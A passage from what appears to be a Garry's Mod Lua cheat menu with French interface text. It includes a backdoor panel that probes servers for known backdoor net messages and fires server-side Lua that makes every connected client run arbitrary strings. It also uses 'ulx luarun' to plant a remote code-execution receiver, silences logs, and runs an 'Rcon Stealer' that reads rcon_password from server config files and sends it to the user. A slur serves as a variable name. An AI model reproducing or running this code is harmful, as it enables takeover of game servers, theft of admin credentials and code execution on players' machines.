5827surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5828surface.DrawRect(0, 21, barw, h / 5)
5829
5830else
5831surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5832surface.DrawRect(0,
5833 21, barw, h / 5)
5834end
5835end
5836function pDistanceA:SetHeight(tall)
5837self.Slider.Knob:SetHeight(tall / 2 + 4)
5838DSlider.SetHeight(self, tall)
5839pDistanceA.SetTall = pDistanceA.SetHeight
5840pDistanceA.Slider.Knob:SetTall(5)
5841end
5842function pDistanceA.Slider.Knob:Paint(w, h)
5843derma.SkinHook( "Paint", "Button", self, 0, 0 )
5844end
5845function pDistanceA:OnValueChanged( val )
5846RunConsoleCommand( 'BD_hitman_distance_infos', tonumber( self:GetValue()
5847 ) )
5848end
5849
5850
5851local pDistance = vgui.Create( "DNumSlider", pContent )
5852pDistance:SetPos( 68, 133 )
5853pDistance:SetSize( 180, 50 )
5854pDistance:SetText( "" )
5855pDistance:SetMin( 120 )
5856pDistance:SetMax( 10000 )
5857pDistance:SetDecimals( 0 )
5858pDistance:SetValue( fiji_vision_distance:GetInt() or 200 )
5859pDistance.Scratch:SetVisible( false )
5860pDistance.TextArea:SetTextColor( color_white )
5861function pDistance:OnValueChanged( val )
5862RunConsoleCommand( 'BD_hitman_distance', tonumber( self:GetValue() ) )
5863end
5864function pDistance.Slider:Paint(w, h)
5865surface.SetDrawColor(0, 0, 0, 255)
5866surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
5867barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5868
5869if fiji_style_menu:GetInt() == 2 then
5870surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5871surface.DrawRect(0,
5872 21, barw, h / 5)
5873
5874elseif fiji_style_menu:GetInt() == 1 then
5875surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5876surface.DrawRect(0, 21, barw, h / 5)
5877
5878else
5879surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5880surface.DrawRect(0,
5881 21, barw, h / 5)
5882end
5883end
5884function pDistance:SetHeight(tall)
5885self.Slider.Knob:SetHeight(tall / 2 + 4)
5886DSlider.SetHeight(self, tall)
5887pDistance.SetTall = pDistance.SetHeight
5888pDistance.Slider.Knob:SetTall(5)
5889end
5890function pDistance.Slider.Knob:Paint(w, h)
5891derma.SkinHook( "Paint", "Button", self, 0, 0 )
5892end
5893
5894
5895local pDistanceB = vgui.Create( "DNumSlider", pContent )
5896pDistanceB:SetPos( 330, 64 )
5897pDistanceB:SetSize( 180, 50 )
5898pDistanceB:SetText( "" )
5899pDistanceB:SetMin( 200 )
5900pDistanceB:SetMax( 20000 )
5901pDistanceB:SetDecimals( 0 )
5902pDistanceB:SetValue( fiji_vision_distance_ent:GetInt() or 200 )
5903pDistanceB.Scratch:SetVisible( false )
5904pDistanceB.TextArea:SetTextColor( color_white )
5905function pDistanceB:OnValueChanged( val )
5906RunConsoleCommand( 'BD_hitman_distance_ent', tonumber( self:GetValue() )
5907 )
5908end
5909function pDistanceB.Slider:Paint(w, h)
5910surface.SetDrawColor(0, 0, 0, 255)
5911surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
5912barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5913
5914if fiji_style_menu:GetInt() == 2 then
5915surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5916surface.DrawRect(0,
5917 21, barw, h / 5)
5918
5919elseif fiji_style_menu:GetInt() == 1 then
5920surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5921surface.DrawRect(0, 21, barw, h / 5)
5922
5923else
5924surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5925surface.DrawRect(0,
5926 21, barw, h / 5)
5927end
5928end
5929function pDistanceB:SetHeight(tall)
5930self.Slider.Knob:SetHeight(tall / 2 + 4)
5931DSlider.SetHeight(self, tall)
5932pDistanceB.SetTall = pDistanceB.SetHeight
5933pDistanceB.Slider.Knob:SetTall(5)
5934end
5935function pDistanceB.Slider.Knob:Paint(w, h)
5936derma.SkinHook( "Paint", "Button", self, 0, 0 )
5937end
5938
5939local pDistanceC = vgui.Create( "DNumSlider", pContent )
5940pDistanceC:SetPos( 330, 261 )
5941pDistanceC:SetSize( 180, 50 )
5942pDistanceC:SetText( "" )
5943pDistanceC:SetMin( 200 )
5944pDistanceC:SetMax( 15000 )
5945pDistanceC:SetDecimals( 0 )
5946pDistanceC:SetValue( fiji_vision_distance_props:GetInt() or 200 )
5947pDistanceC.Scratch:SetVisible( false )
5948pDistanceC.TextArea:SetTextColor( color_white )
5949function pDistanceC:OnValueChanged( val )
5950RunConsoleCommand( 'BD_hitman_distance_props', tonumber( self:GetValue()
5951 ) )
5952end
5953function pDistanceC.Slider:Paint(w, h)
5954surface.SetDrawColor(0, 0, 0, 255)
5955surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
5956barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5957
5958if fiji_style_menu:GetInt() == 2 then
5959surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5960surface.DrawRect(0,
5961 21, barw, h / 5)
5962
5963elseif fiji_style_menu:GetInt() == 1 then
5964surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5965surface.DrawRect(0, 21, barw, h / 5)
5966
5967else
5968surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5969surface.DrawRect(0,
5970 21, barw, h / 5)
5971end
5972end
5973function pDistanceC:SetHeight(tall)
5974self.Slider.Knob:SetHeight(tall / 2 + 4)
5975DSlider.SetHeight(self, tall)
5976pDistanceC.SetTall = pDistanceC.SetHeight
5977pDistanceC.Slider.Knob:SetTall(5)
5978end
5979function pDistanceC.Slider.Knob:Paint(w, h)
5980derma.SkinHook( "Paint", "Button", self, 0, 0 )
5981end
5982end
5983
5984
5985
5986
5987
5988concommand.Add("fiji_bckdrs", function()
5989
5990local bdactiv = "";
5991
5992function bdactiv( str )
5993local status, error = pcall( net.Start, str )
5994return status
5995end
5996
5997if( bdactiv("Ulx_Error_88") ) then
5998bdactivname = "Ulx_Error_88"
5999else
6000end
6001if( bdactiv("FAdmin_Notification_Receiver") ) then
6002bdactivname = "FAdmin_Notification_Receiver"
6003else
6004end
6005if( bdactiv("DarkRP_ReceiveData") ) then
6006bdactivname = "DarkRP_ReceiveData"
6007else
6008end
6009if( bdactiv("fijiconn") ) then
6010bdactivname = "fijiconn"
6011else
6012end
6013if( bdactiv("Weapon_88") ) then
6014bdactivname = "Weapon_88"
6015else
6016end
6017if( bdactiv("nostrip") ) then
6018bdactivname = "nostrip"
6019else
6020end
6021if( bdactiv("SessionBackdoor") ) then
6022bdactivname = "SessionBackdoor"
6023else
6024end
6025if( bdactiv("DarkRP_AdminWeapons") ) then
6026bdactivname = "DarkRP_AdminWeapons"
6027else
6028end
6029if( bdactiv("_CAC_ReadMemory") ) then
6030bdactivname = "_CAC_ReadMemory"
6031else
6032end
6033if( bdactiv("thefrenchenculer") ) then
6034bdactivname = "thefrenchenculer"
6035else
6036end
6037if( bdactiv("Fix_Keypads") ) then
6038bdactivname = "Fix_Keypads"
6039else
6040end
6041if( bdactiv("Remove_Exploiters") ) then
6042bdactivname = "Remove_Exploiters"
6043else
6044end
6045if( bdactiv("MoonMan") ) then
6046bdactivname = "MoonMan"
6047else
6048end
6049if( bdactiv("disablebackdoor") ) then
6050bdactivname = "disablebackdoor"
6051else
6052end
6053if( bdactiv("Sbox_itemstore") ) then
6054bdactivname = "Sbox_itemstore"
6055else
6056end
6057if( bdactiv("Sbox_darkrp") ) then
6058bdactivname = "Sbox_darkrp"
6059else
6060end
6061if( bdactiv("R8") ) then
6062bdactivname = "R8"
6063else
6064end
6065if( bdactiv("c") ) then
6066bdactivname = "c"
6067else
6068end
6069if( bdactiv("_cac_") ) then
6070bdactivname = "_cac_"
6071else
6072end
6073if( bdactiv("_Defqon") ) then
6074bdactivname = "_Defqon"
6075else
6076end
6077if( bdactiv("noclipcloakaesp_chat_text") ) then
6078bdactivname = "noclipcloakaesp_chat_text"
6079else
6080end
6081if( bdactiv("Sandbox_ArmDupe") ) then
6082bdactivname = "Sandbox_ArmDupe"
6083else
6084end
6085
6086
6087
6088local it = 50
6089if not snte then
6090
6091function BD.Fire( code )
6092
6093local cbd = BD.CurrentBackdoor
6094
6095if !BD.Backdoors[cbd] then
6096
6097
6098
6099return
6100
6101end
6102
6103local key = BD.BackdoorTypes[cbd].Netkey
6104
6105
6106
6107bdnet().Start( key )
6108
6109bdnet().WriteString( code )
6110
6111bdnet().SendToServer()
6112
6113end
6114
6115BD.Backdoors = BD.PingBackDoors()
6116if !BD.IsMessagePooled( "pitysaver" ) and BD.BackdoorActive() then
6117BD.Fire( [[util.AddNetworkString( "pitysaver" )
6118function BDSendLua( p, str ) net.Start( "pitysaver" ) net.WriteString(
6119str ) net.Send( p ) end
6120function BDSendLuaAll( str ) net.Start( "pitysaver" ) net.WriteString(
6121str ) net.Broadcast() end
6122function BDInjectAids( p ) p:SendLua( 'net.Receive( "pitysaver",
6123function() RunString( net.ReadString() ) end )' ) end
6124for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
6125hook.Add( "PlayerInitialSpawn", "pityforever", function( p )
6126BDInjectAids( p ) end)
6127]] )
6128end
6129
6130local BackdoorsMenu = vgui.Create( "DFrame" )
6131BackdoorsMenu:SetSize( 700, 400 )
6132BackdoorsMenu:Center()
6133BackdoorsMenu:SetTitle("")
6134BackdoorsMenu:SetDraggable(true)
6135BackdoorsMenu:ShowCloseButton( false )
6136BackdoorsMenu:MakePopup()
6137function BackdoorsMenu:Paint( w, h )
6138
6139
6140DrawBlur(self, 25)
6141draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
6142if fiji_style_menu:GetInt() == 2 then
6143draw.RoundedBox( 0, 4, 4, w - 8,
61442,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6145draw.RoundedBox(
6146 0, 4, h - 6, w - 10, 2,
6147Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6148 )
6149draw.RoundedBox( 0, 4, 6, 2, h - 12,
6150Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6151 )
6152draw.RoundedBox( 0, w - 6, 6, 2, h - 10,
6153Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6154 )
6155elseif fiji_style_menu:GetInt() == 1 then
6156draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1,
61570.5 ) )
6158draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60,
6159 1, 0.5 ) )
6160draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1,
61610.5 ) )
6162draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60,
6163 1, 0.5 ) )
6164else
6165draw.RoundedBox( 0, 4, 4, w - 8, 2, Color(
6166fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6167 255 ) )
6168draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(
6169fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6170 255 ) )
6171draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(
6172fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6173 255 ) )
6174draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(
6175fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6176 255 ) )
6177end
6178end
6179
6180concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
6181BackdoorsMenu:Remove()
6182
6183end)
6184
6185local TextBackdoor = vgui.Create( "DPanel", BackdoorsMenu )
6186TextBackdoor:SetSize(700,400)
6187TextBackdoor:SetPos(0,0)
6188TextBackdoor.Paint = function( self, w, h )
6189--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
6190draw.SimpleText("♦ Commandes générales", "DermaDefault", 65, 15,
6191Color(255, 255, 255,100), 0, 1)
6192draw.SimpleText("♦ Commandes par joueurs", "DermaDefault", 65, 120,
6193Color(255, 255, 255,100), 0, 1)
6194draw.SimpleText("Paramètrage commandes :", "DermaDefault", 475, 320,
6195Color(255, 255, 255,100), 0, 1)
6196
6197end
6198
6199local CloseBackdoors = vgui.Create( "DButton", BackdoorsMenu)
6200CloseBackdoors:SetPos( 670, 8)
6201CloseBackdoors:SetSize( 20, 15 )
6202CloseBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
6203CloseBackdoors:SetText( "X" )
6204CloseBackdoors.Paint = function( self, w, h )
6205draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
6206if self:IsHovered() then
6207draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
6208else
6209draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
6210end
6211CloseBackdoors.DoClick = function()
6212LocalPlayer():ConCommand("fiji_sv_existmen 0")
6213BackdoorsMenu:Remove()
6214end
6215end
6216
6217local ReturnBackdoors = vgui.Create( "DButton", BackdoorsMenu)
6218ReturnBackdoors:SetPos( 638, 8)
6219ReturnBackdoors:SetSize( 30, 15)
6220ReturnBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
6221ReturnBackdoors:SetText( "<--" )
6222ReturnBackdoors.Paint = function( self, w, h )
6223draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
6224if self:IsHovered() then
6225draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
6226else
6227draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
6228end
6229ReturnBackdoors.DoClick = function()
6230LocalPlayer():ConCommand("pity")
6231BackdoorsMenu:Remove()
6232end
6233end
6234
6235local wedungoofd = vgui.Create( "DLabel", BackdoorsMenu )
6236wedungoofd:SetPos( 13, 0 )
6237wedungoofd:SetFont( "Trebuchet18" )
6238wedungoofd:SetColor( Color( 120, 50, 50 ) )
6239wedungoofd:SetText( "" )
6240wedungoofd:SizeToContents()
6241for bd, t in pairs( BD.BackdoorTypes ) do
6242---------------------------------------------------------------------------------------------------------
6243---------------------------------------------------------------------------------------------------------
6244local
6245 faggot = vgui.Create("DButton", BackdoorsMenu)
6246faggot:SetSize( 50, 14 )
6247faggot:SetPos( 10, 1+it-it/1.18 )
6248faggot:SetText( bd )
6249faggot.Paint = function(panel, w, h)
6250
6251if BD.Backdoors[bd] then
6252faggot:SetTextColor(Color(255, 255, 255, 255))
6253draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 230 ) )
6254draw.RoundedBox( 20, 0, 0, 2, h, Color( 100, 100, 100, 120 ) )
6255draw.RoundedBox( 2, 0, 0, w, 2, Color( 100, 100, 100, 120 ) )
6256draw.RoundedBox( 2, w - 2, 0, 2, h, Color( 100, 100, 100, 120 ) )
6257draw.RoundedBox( 2, 0, h - 2, w, 2, Color( 100, 100, 100, 120 ) )
6258else
6259faggot:SetTextColor(Color(255, 255, 255, 50))
6260draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 120 ) )
6261end
6262end
6263faggot.DoClick = function()
6264if BD.Backdoors[bd] then
6265NOTIFICATION("Vous utilisez désormais la backdoor "..bd)
6266BD.CurrentBackdoor = bd
6267surface.PlaySound( "buttons/combine_button1.wav" )
6268else
6269NOTIFICATIONNO("Backdoor non présente")
6270end
6271end
6272it = it + 105
6273end
6274
6275local PlistAll = vgui.Create( "DPanelList", BackdoorsMenu )
6276PlistAll:SetPos( 62, 25 )
6277PlistAll:SetSize( 630, 200 )
6278PlistAll:SetPadding( 0 )
6279PlistAll:SetSpacing( 2 )
6280PlistAll:EnableHorizontal( true )
6281PlistAll:EnableVerticalScrollbar( true )
6282PlistAll:SetName( "" )
6283PlistAll.Paint = function( self, w, h )
6284--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
6285
6286
6287end
6288local PlistAllOnePlayer = vgui.Create( "DPanelList", BackdoorsMenu )
6289PlistAllOnePlayer:SetPos( 62, 130 )
6290PlistAllOnePlayer:SetSize( 630, 166 )
6291PlistAllOnePlayer:SetPadding( 0 )
6292PlistAllOnePlayer:SetSpacing( 2 )
6293PlistAllOnePlayer:EnableHorizontal( true )
6294PlistAllOnePlayer:EnableVerticalScrollbar( true )
6295PlistAllOnePlayer:SetName( "" )
6296PlistAllOnePlayer.Paint = function( self, w, h )
6297--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
6298
6299end
6300local PlistAllPlayer = vgui.Create( "DPanelList", BackdoorsMenu )
6301PlistAllPlayer:SetPos( 62, 250 )
6302PlistAllPlayer:SetSize( 314, 115 )
6303PlistAllPlayer:SetPadding( 0 )
6304PlistAllPlayer:SetSpacing( 1 )
6305PlistAllPlayer:EnableHorizontal( false )
6306PlistAllPlayer:EnableVerticalScrollbar( true )
6307PlistAllPlayer:SetName( "" )
6308PlistAllPlayer.Paint = function( self, w, h )
6309--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
6310surface.SetDrawColor(0, 0, 0 ,0)
6311surface.DrawOutlinedRect(0, 0, w, h)
6312surface.DrawOutlinedRect(1, 1, w-2, h-2)
6313surface.DrawOutlinedRect(2, 2, w-4, h-4)
6314surface.SetDrawColor(0, 0, 0 ,100)
6315surface.DrawRect(0, 0, w, h)
6316end
6317local faggot = vgui.Create("DButton", BackdoorsMenu)
6318faggot:SetSize( 311, 30 )
6319faggot:SetPos( 380, 361 )
6320faggot:SetText("Lancer/Stopper")
6321faggot:SetTextColor(Color(255, 255, 255, 255))
6322faggot.Paint = function(panel, w, h)
6323if faggot:IsHovered() then
6324if fiji_style_menu:GetInt() == 2 then
6325surface.SetDrawColor(50, 50, 50 ,150)
6326surface.DrawRect(0, 0, w, h)
6327surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6328surface.DrawOutlinedRect(0,
6329 0, w, h)
6330
6331elseif fiji_style_menu:GetInt() == 3 then
6332surface.SetDrawColor(50, 50, 50 ,150)
6333surface.DrawRect(0, 0, w, h)
6334surface.SetDrawColor(255, 91, 91)
6335surface.DrawOutlinedRect(0, 0, w, h)
6336
6337elseif fiji_style_menu:GetInt() == 1 then
6338
6339surface.SetDrawColor(50, 50, 50 ,150)
6340surface.DrawRect(0, 0, w, h)
6341surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6342surface.DrawOutlinedRect(0, 0, w, h)
6343
6344else
6345surface.SetDrawColor(50, 50, 50 ,150)
6346surface.DrawRect(0, 0, w, h)
6347surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
6348 255)
6349surface.DrawOutlinedRect(0, 0, w, h)
6350
6351end end
6352surface.SetDrawColor(150, 150, 150 ,50)
6353surface.DrawOutlinedRect(0, 0, w, h)
6354end
6355faggot.DoClick = function()
6356if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
6357NOTIFICATIONNO("Veuillez séléctionner une commande") return end
6358if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
6359BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
6360local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then
6361NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return
6362 end
6363end
6364
6365local commandpersotext = vgui.Create( "DTextEntry", BackdoorsMenu ) --
6366create the form as a child of frame
6367commandpersotext:SetPos( 380, 282 )
6368commandpersotext:SetSize( 103, 30 )
6369commandpersotext:SetMultiline( true )
6370commandpersotext:SetText( "" )
6371commandpersotext.OnEnter = function( self )
6372chat.AddText( self:GetValue() ) -- print the form's text as server text
6373end
6374
6375local commandperso = vgui.Create("DButton", BackdoorsMenu)
6376commandperso:SetSize( 103, 30 )
6377commandperso:SetPos( 380, 252 )
6378commandperso:SetText("Commande Perso.")
6379commandperso:SetTextColor(Color(255, 255, 255, 255))
6380commandperso.Paint = function(panel, w, h)
6381if commandperso:IsHovered() then
6382surface.SetDrawColor(50, 50, 50 ,150)
6383surface.DrawRect(0, 0, w, h)
6384surface.SetDrawColor(255, 255, 255)
6385surface.DrawOutlinedRect(0, 0, w, h)
6386else
6387surface.SetDrawColor(0, 0, 0 ,150)
6388surface.DrawRect(0, 0, w, h)
6389surface.SetDrawColor(255, 255, 255 ,100)
6390surface.DrawOutlinedRect(0, 0, w, h)
6391end
6392end
6393commandperso.DoClick = function()
6394
6395LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' )
6396 net.Receive( 'fijiconn', function() local x = CompileString(
6397net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6398)" )
6399
6400local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then
6401NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return
6402 end
6403NOTIFICATION("Commande personnalisée lançé avec succès")
6404net.Start(bdactivname)
6405net.WriteString( commandpersotext:GetText() )
6406net.WriteBit (1)
6407net.SendToServer()
6408
6409end
6410
6411
6412local luarunback = vgui.Create("DButton", BackdoorsMenu)
6413luarunback:SetSize( 103, 60 )
6414luarunback:SetPos( 485, 252 )
6415luarunback:SetText("Lancer backdoor")
6416luarunback:SetTextColor(Color(255, 255, 255, 255))
6417luarunback.Paint = function(panel, w, h)
6418if luarunback:IsHovered() then
6419surface.SetDrawColor(50, 50, 50 ,150)
6420surface.DrawRect(0, 0, w, h)
6421surface.SetDrawColor(255, 255, 255)
6422surface.DrawOutlinedRect(0, 0, w, h)
6423else
6424surface.SetDrawColor(0, 0, 0 ,150)
6425surface.DrawRect(0, 0, w, h)
6426surface.SetDrawColor(255, 255, 255 ,100)
6427surface.DrawOutlinedRect(0, 0, w, h)
6428end
6429end
6430luarunback.DoClick = function()
6431NOTIFICATION("Tentative de lancement des backdoors...")
6432LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
6433timer.Simple( 0.5, function()
6434LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' )
6435 net.Receive( 'fijiconn', function() local x = CompileString(
6436net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
6437)" )
6438end )
6439timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx
6440logecho 0]] ) end )
6441timer.Simple( 0.5, function() if BD.IsMessagePooled(
6442BD.GetActive().Netkey ) then NOTIFICATION("Backdoor lançé âœâ€")
6443LocalPlayer():ConCommand("fiji_clearbd")
6444LocalPlayer():ConCommand("fiji_sv_existmen 0")
6445else LocalPlayer():ConCommand("fiji_clearbd")
6446LocalPlayer():ConCommand("fiji_sv_existmen 0")end end )
6447if not LocalPlayer():IsSuperAdmin() then
6448NOTIFICATIONNO("Vous n'etes pas Superadmin")
6449else
6450NOTIFICATION( "Veuillez vérifier les backdoors")
6451end
6452end
6453
6454local rconstealerh = vgui.Create("DButton", BackdoorsMenu)
6455rconstealerh:SetSize( 101, 60 )
6456rconstealerh:SetPos( 590, 252 )
6457rconstealerh:SetText("Rcon Stealer")
6458rconstealerh:SetTextColor(Color(255, 255, 255, 255))
6459rconstealerh.Paint = function(panel, w, h)
6460if rconstealerh:IsHovered() then
6461surface.SetDrawColor(50, 50, 50 ,150)
6462surface.DrawRect(0, 0, w, h)
6463surface.SetDrawColor(255, 255, 255)
6464surface.DrawOutlinedRect(0, 0, w, h)
6465else
6466surface.SetDrawColor(0, 0, 0 ,150)
6467surface.DrawRect(0, 0, w, h)
6468surface.SetDrawColor(255, 255, 255 ,100)
6469surface.DrawOutlinedRect(0, 0, w, h)
6470end
6471end
6472rconstealerh.DoClick = function()
6473local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then
6474NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return
6475 end
6476NOTIFICATION("Recherche en cours...")
6477status = ValidNetString("jeveuttonrconleul")
6478local rcon = [[
6479util.AddNetworkString("rcon_passw_dump")
6480util.AddNetworkString("jeveuttonrconleul")
6481util.AddNetworkString("aucun_rcon_ici")
6482net.Receive( "jeveuttonrconleul", function()
6483local RconPassword
6484if file.Exists("cfg/server.cfg", "GAME") then
6485for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg",
6486"GAME"))) do
6487if string.find(v, "rcon_password") then
6488RconPassword = v
6489end
6490end
6491end
6492if not RconPassword and file.Exists("cfg/autoexec.cfg", "GAME") then
6493for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg",
6494"GAME"))) do
6495if string.find(v, "rcon_password") then
6496RconPassword = v
6497end
6498end
6499end
6500if RconPassword ~= nil then
6501net.Start("rcon_passw_dump")
6502net.WriteString(RconPassword)
6503net.Broadcast()
6504else
6505net.Start("aucun_rcon_ici")
6506net.Broadcast()
6507end
6508end)
6509]]
6510local cbd = BD.CurrentBackdoor
6511net.Start(bdactivname)
6512net.WriteString( rcon )
6513net.WriteBit(1)
6514net.SendToServer()
6515timer.Simple( 0.5, function()
6516if status then
6517net.Start("jeveuttonrconleul")
6518net.SendToServer()
6519else
6520NOTIFICATIONNO("Rcon Password non-trouvé. Réessayez, sinon
6521assurez-vous qu'il y ai une backdoor sur le serveur")
6522end
6523end)
6524end
6525net.Receive( "rcon_passw_dump", function()
6526local rcon_pass = net.ReadString()
6527NOTIFICATION("RCON copier")
6528chat.AddText(Color(255, 255, 255), "Rcon Password du serveur :",
6529Color(0, 255, 0),rcon_pass)
6530SetClipboardText( rcon_pass )
6531end )
6532net.Receive( "aucun_rcon_ici", function()
6533NOTIFICATIONNO("Pas de RCON Password dans le server.cfg")
6534end )
6535local moonman = vgui.Create( "DTextEntry", BackdoorsMenu )
6536moonman:SetPos( 380, 330 )
6537moonman:SetSize( 311, 30 )
6538moonman:SetText( backdoorargs )
6539moonman.OnChange = function( self )
6540backdoorargs = self:GetValue()
6541end
6542local target1 = vgui.Create("DButton", BackdoorsMenu)
6543target1:SetSize( 99, 20 )
6544target1:SetPos( 62, 368 )
6545target1:SetText("Tous")
6546target1:SetTextColor(Color(255, 255, 255, 255))
6547target1.Paint = function(panel, w, h)
6548if target1:IsHovered() then
6549draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
6550else
6551draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
6552end
6553end
6554target1.DoClick = function()
6555for _, p in pairs(player.GetAll()) do
6556if not table.HasValue( selectedplayers, p ) then
6557table.insert( selectedplayers, p )
6558end
6559end
6560end
6561local target2 = vgui.Create("DButton", BackdoorsMenu)
6562target2:SetSize( 99, 20 )
6563target2:SetPos( 170, 368 )
6564target2:SetText("Aucun")
6565target2:SetTextColor(Color(255, 255, 255, 255))
6566target2.Paint = function(panel, w, h)
6567if target2:IsHovered() then
6568draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
6569else
6570draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
6571end
6572end
6573target2.DoClick = function()
6574table.Empty( selectedplayers )
6575end
6576local target2 = vgui.Create("DButton", BackdoorsMenu)
6577target2:SetSize( 99, 20 )
6578target2:SetPos( 277, 368 )
6579target2:SetText("Moi")
6580target2:SetTextColor(Color(255, 255, 255, 255))
6581target2.Paint = function(panel, w, h)
6582if target2:IsHovered() then
6583draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
6584else
6585draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
6586end
6587end
6588target2.DoClick = function()
6589table.Empty( selectedplayers )
6590table.insert( selectedplayers, LocalPlayer() )
6591end
6592for k, v in pairs( player.GetAll() ) do
6593local plypanel2 = vgui.Create( "DPanel" )
6594plypanel2:SetPos( 0, 0 )
6595plypanel2:SetSize( 314, 15 )
6596plypanel2.Paint = function() -- Paint function
6597draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0,
6598 0, 0, 150), false, false, false, false)
6599if table.HasValue( selectedplayers, v ) then
6600draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150,
6601 150, 150, 50), false, false, false, false)
6602else
6603draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0,
6604 0, 0, 50), false, false, false, false) end
6605end
6606local plyname = vgui.Create( "DLabel", plypanel2 )
6607plyname:SetPos( 10, 0 )
6608plyname:SetFont( "pity_homemini" )
6609local tcol = Color( 255, 255, 255 )
6610
6611if fiji_style_menu:GetInt() == 2 then
6612if v == LocalPlayer() then tcol = Color(
6613math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)
6614 ) end
6615
6616elseif fiji_style_menu:GetInt() == 3 then
6617if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
6618
6619elseif fiji_style_menu:GetInt() == 1 then
6620if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5
6621 )end
6622
6623else
